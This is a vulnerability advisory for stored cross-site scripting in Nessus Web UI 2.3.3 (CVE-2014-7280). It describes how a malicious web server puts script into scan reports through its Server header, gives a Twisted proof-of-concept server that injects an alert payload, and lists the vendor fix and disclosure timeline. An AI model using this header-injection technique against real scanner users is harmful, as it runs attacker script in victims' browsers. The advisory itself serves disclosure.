Nessus Web UI 2.3.3 - Persistent Cross-Site Scripting







Nessus Web UI 2.3.3: Stored XSS

CVE number: CVE-2014-7280
Vendor advisory:

-- Info --

Nessus is a proprietary comprehensive vulnerability scanner which is developed by Tenable Network Security. Tenable Network Security estimates that it is used by over 75,000 organisations worldwide.

-- Affected version -

Web UI version 2.3.3, Build #83

-- Vulnerability details --

By setting up a malicious web server that returns a specially crafted host header, an attacker is able to execute javascript code on the machine of the person performing a vulnerability scan of the web server. No escaping on javascript code is being performed when passing the server header to the affected Web UI version via a plugin.
The javascript code will be stored in the backend database, and will execute every time the target views a report that returns the server header.

-- POC --

#!/usr/bin/env python
import sys
from twisted.web import server, resource
from twisted.internet import reactor
from twisted.python import log

class Site(server.Site):
    def getResourceFor(self, request):
        request.setHeader('server', '<script>alert(1)</script>SomeServer')
        return server.Site.getResourceFor(self, request)

class HelloResource(resource.Resource):
    isLeaf = True
    numberRequests = 0

    def render_GET(self, request):
        self.numberRequests += 1
        request.setHeader("content-type", "text/plain")
return "theSecurityFactory Nessus POC"

reactor.listenTCP(8080, Site(HelloResource()))

-- Solution --

This issue has been fixed as of version 2.3.4 of the WEB UI.

-- Timeline --

2014-06-12   Release of Web UI version 2.3.3, build#83

2014-06-13        Vulnerability discovered and creation of POC

2014-06-13        Vulnerability responsibly reported to vendor

2014-06-13        Vulnerability acknowledged by vendor

2014-06-13        Release of Web UI version 2.3.4, build#85

2014-XX-XX        Advisory published in coordination with vendor

-- Credit --

Frank Lycops
Frank.lycops [at]